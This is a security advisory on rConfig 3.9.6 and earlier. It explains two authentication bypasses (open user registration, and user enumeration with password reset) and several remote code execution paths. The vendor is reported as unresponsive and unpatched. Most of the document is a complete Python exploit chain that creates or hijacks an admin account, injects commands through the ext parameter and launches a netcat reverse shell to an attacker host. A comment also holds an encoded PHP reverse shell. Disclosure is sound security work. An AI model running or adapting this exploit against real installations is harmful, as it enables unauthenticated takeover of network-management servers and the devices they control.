SSD Advisory – rConfig Unauthenticated RCE

TL;DR

Find out how a chain of vulnerabilities in rConfig allows a remote unauthenticated user to gain ‘apache’ user access to the vulnerable rConfig installation.

Vulnerability Summary

rConfig is “an open source network device configuration management utility that takes frequent configuration snapshots of devices. Open source, and built by Network Architects – We know what you need!”

Two vulnerabilities in rConfig remote unauthenticated RCE. One vulnerability allows an unauthenticated user to become authenticated, another vulnerability which is post-authentication allows an attacker to execute arbitrary code.

Credit

An independent Security Researcher, Daniel Monzón, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

rConfig 3.9.6 and prior

Vendor Response

The vendor was initially very responsive and provided feedback and a link to an updated version (3.9.6) – we originally verified the vulnerability on version 3.9.5.

We were able to confirm that version 3.9.6 is also vulnerable and communicated this back to the vendor.

The vendor has not responded since July and failed to provide any timeline for a fix or a patch.

At the moment we are not aware of a patch or a workaround to prevent these two vulnerabilities from being exploited.

Vulnerability Analysis

rConfig is vulnerable to multiple RCE vulnerabilities.

ajaxArchiveFiles.php RCE

In the file /home/rconfig/www/lib/ajaxHandlers/ajaxArchiveFiles.php there is a blind command injection vulnerability in the ext parameter (different from CVE-2019-19509, which by the way, has not been resolved and it is still present, as you can see in the screenshot):

To trigger the vulnerability the following raw request can be sent:

ajaxEditTemplate.php RCE

The second RCE is in the connection template edit page of rConfig. It is possible to introduce PHP code inside a file and call it ../www/test.php. This would allow an attacker to make the file reachable from the outside of the box. If the filename does not end in .yml, rConfig appends it, therefore a file called test.php will be accessible via https://rconfig/test.php.yml

updater.php RCE

The third RCE is in https://rconfig/updater.php?chk=1. There are not enough checks for in the updater.php file. If we grab a real rConfig ZIP and add a PHP webshell to the ZIP, upload and install, we we will find that the new admin credentials are admin:admin and we will have a nice webshell.

userprocess.php Authentication Bypass

The first authentication bypass vulnerability lays on the register function of
/home/rconfig/www/lib/crud/userprocess.php. There is no authentication enforced, so we can just create our own admin user (ulevelid = 9).

useradmin.inc.php Authentication Bypass

The second authentication bypass vulnerability is in the same file than the previous one. Using the information leakage in https://rconfig/useradmin.inc.php we can get to know which users are present in the rConfig instance, so we can update the details of the account (including the password), with again, no authentication required:

Demo

Exploit

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import urllib3
import re
#from bs4 import BeautifulSoup

urllib3.disable_warnings()

url="https://x.x.x.x/" #change this to fit your URL (adding the last slash)
payload="nc y.y.y.y 9001 -e /bin/sh"  #change this to whatever payload you want
payload_rce= "fileName=../www/test.php&code=<%3fphp+echo+system('ls')%3b%3f>&id=3" #if you want to use Method 2 for RCE, use a PHP, urlencoded payload as the value of the code parameter

print("Connecting to: {}".format(url))
print("Connect back is set to: {}, please launch 'nc -lv 9001'".format(payload))

x = requests.get(url+"login.php", verify=False)
version = re.search("<p>(.*)<span>", x.text)
version = version.group(1)

if version == "rConfig Version 3.9.5":
   print("Version 3.9.5 confirmed")
else:
   print("Version is "+version+ " it may not be vulnerable")

payload_final=";"+payload
referer=url+"useradmin.php"
origin=url
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} #in case you need to debug the exploit with Burp, add ', proxies=proxies' to any request

def createuser():

    multipart_data = MultipartEncoder(
       fields={
               'username': 'test', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'test@test.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': ''
              }
       )
    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
    cookies = {'PHPSESSID': 'test'}
    response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
    if "error" not in response.text:
        print("(+) User test created")
    else:
        print("(-) User couldn't be created, please debug the exploit")


def exploit():
    payload = {
    'user': 'test',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit") #if you used method 2 to auth bypass and 1 for RCE, ignore this message
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as test completed")
            params = {'path':'test',
                      'ext': payload_final
                     }
            rce=s.get(url+'lib/ajaxHandlers/ajaxArchiveFiles.php', verify=False, params=params)
            if "success" in rce.text:
                print("(+) Payload executed successfully")
            else:
                print("(-) Error when executing payload, please debug the exploit")


def user_enum_update():
    users=requests.get(url+'useradmin.inc.php', verify=False)
    #matchObj = re.findall(r'<td align="center">(.*?)</td>', users.text, re.M|re.I|re.S)
    
    if "admin" in users.text:
      print("(+) The admin user is present in this rConfig instance")
      multipart_data = MultipartEncoder(
       fields={
               'username': 'admin', 
               'password': 'Testing1@', #password should have a capital letter, lowercase, number and a symbol
               'passconf': 'Testing1@',
               'email': 'admin@admin.com',
               'ulevelid': '9',
               'add': 'add',
               'editid': '1' #you may need to increment this if you want to reset the password of a different user
              }
       )
      headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer, "Origin":origin}
      cookies = {'PHPSESSID': 'test'}
      response = requests.post(url+'lib/crud/userprocess.php', data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
      if "error" not in response.text:
          print("(+) The new password for the admin user is Testing1@")
      else:
          print("(-) Admin user couldn't be edited, please debug the exploit")
    elif  "Admin" in users.text:
       print("(+) There is at least one Admin user, check "+ str(url)+"useradmin.inc.php manually and modify the exploit accordingly (erase the if-elif statements of this function and modify the user payload)")
    
def template():
    payload = {
    'user': 'admin',
    'pass': 'Testing1@',
    'sublogin': '1'
}
    
    #<%3fphp+%24sock%3Dfsockopen%28%22192.168.1.13%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%3f>
    headers_rce = {'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8", "Referer": url+"deviceConnTemplates.php", "Origin":origin, "X-Requested-With": "XMLHttpRequest", "Accept-Language": "en-US,en;q=0.5"}
    with requests.Session() as s:
         p = s.post(url+'lib/crud/userprocess.php', data=payload, verify=False)
         if "Stephen Stack" in p.text:
            print("(-) Exploit failed, could not login as user test")
         else:
            print("(+) Log in as admin completed")
            rce=s.post(url+'lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=payload_rce, headers=headers_rce)
            if "success" in rce.text:
                print("(+) File created")
                rce_req = s.get(url+'test.php.yml', verify=False)
                print("(+) Command results: ")
                print(rce_req.text)
            else:
                print("(-) Error when executing payload, please debug the exploit")

def main():
    print("Remote Code Execution + Auth bypass rConfig 3.9.5 by Daniel Monzón")
    print("In the last stage if your payload is a reverse shell, the exploit may not launch the success message, but check your netcat ;)")
    print("Note: preferred method for auth bypass is 1, because it is less 'invasive'")
    print("Note2: preferred method for RCE is 2, as it does not need you to know if, for example, netcat has been installed in the target machine")
    print('''Choose method for authentication bypass:
        1) User creation
        2) User enumeration + User edit ''')
    auth_bypass=str(input("Method>"))
    if auth_bypass == "1":
       createuser()
    elif auth_bypass == "2":
       user_enum_update()
    print('''Choose method for RCE:
        1) Unsafe call to exec()
        2) Template edit ''')
    rce_method=str(input("Method>"))
    if rce_method == "1":
       exploit()
    elif rce_method == "2":
       template()
main()